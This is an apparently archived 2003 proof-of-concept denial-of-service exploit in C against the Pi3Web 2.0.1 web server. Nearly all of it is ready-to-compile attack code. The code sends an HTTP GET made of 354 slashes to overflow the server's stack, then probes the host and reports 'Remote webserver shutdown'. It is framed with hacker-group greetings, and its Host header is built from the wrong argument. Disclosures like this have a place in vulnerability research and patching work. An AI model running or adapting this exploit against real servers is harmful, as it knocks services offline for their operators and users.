Pi3Web 2.0.1 DoS

["aT4r InsaN3" <at4r () hotmail com>]

/* Pi3Web 2.0.1 DoS - Pr00f of concept.
*
* Vulnerable systems: Pi3Web 2.0.1 (maybe others)
* Vendor: www.johnroy.com/pi3  - http://pi3web.sourceforge.net/
* Patch: no yet.
*
* Info: Pi3Web Server is vulnerable to a denial of Service.
*		when a malformed HTTP Request is done the webserver hangs due to an stack 
overflow.
*               GET /////////..[354]../////////
*
* Found by aT4r () 3wdesign es  04/26/2003
* Copyright (c) 2003 www.3wdesign.es Security
* THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTIES.
* USE IT AT YOUR OWN RISK.
*
* #haxorcitos @ efnet Rocks!!!
* Feel The p0wer of aT4r, Drakar, [Back], |tyr|, Tarako, croulder
* Compiled with: lcc-win32 v3.3.
*
*/
#pragma comment (lib,"ws2_32")
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
#include <string.h>

char evilbuffer[1024],evilrequest[512],ip[15];
short port=80;


int isalive(int OPT)
{
        struct sockaddr_in haxorcitos;
        int fd;

        haxorcitos.sin_port = htons(port);
        haxorcitos.sin_family = AF_INET;
        haxorcitos.sin_addr.s_addr = inet_addr(ip);

        if ((fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
        {
                printf(" [-] Unable to Create Socket\n\n");
                return(0);
        }
        if (connect(fd,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos)) == -1)
        {
                if (OPT==0)
                        printf(" [+] Exploit Success. Remote webserver shutdown\n");
                else
                        printf(" [-] Unable to connect\n\n");
                return(0);
        }
        if (OPT==0)
        {
                printf(" [-] Exploit Failed. System Patched?\n\n");
        }
        else
        {
                send(fd,evilbuffer, strlen(evilbuffer),0);
                printf(" [+] Data Sent. Now Checking Host\n");
                closesocket(fd);

        }
return(1);
}


void usage(void)
{
        printf(" [+] Usage: PiDoS.exe HOST [port]\n\n");      exit(1);
}


void main(int argc,char *argv[])
{
        WSADATA ws;

        if      (WSAStartup( MAKEWORD(1,1), &ws )!=0)
        {
                printf(" [+] WSAStartup() error\n");
                exit(0);
        }

	printf("\n . .. ...:Pi3Web Denial of Service (aT4r () 3wdesign es) :... 
..\n\n");

        if ((argc!=2) && (argc!=3))
                usage();

        strcpy(ip,argv[1]);
        if (argc==3) port=atoi(argv[2]);

        memset(evilrequest,0,512);
        memset(evilbuffer,0,1024);
        memset(evilrequest,'/',354);
        //sprintf(evilbuffer, "GET %s\r\n",evilrequest);
	sprintf(evilbuffer,"GET %s HTTP/1.0\r\nUser-Agent: foo\r\nHost: 
%s\r\n\r\n\r\n",evilrequest,argv[2]);

        if (isalive(1))
                { sleep(1000); isalive(0);}

}


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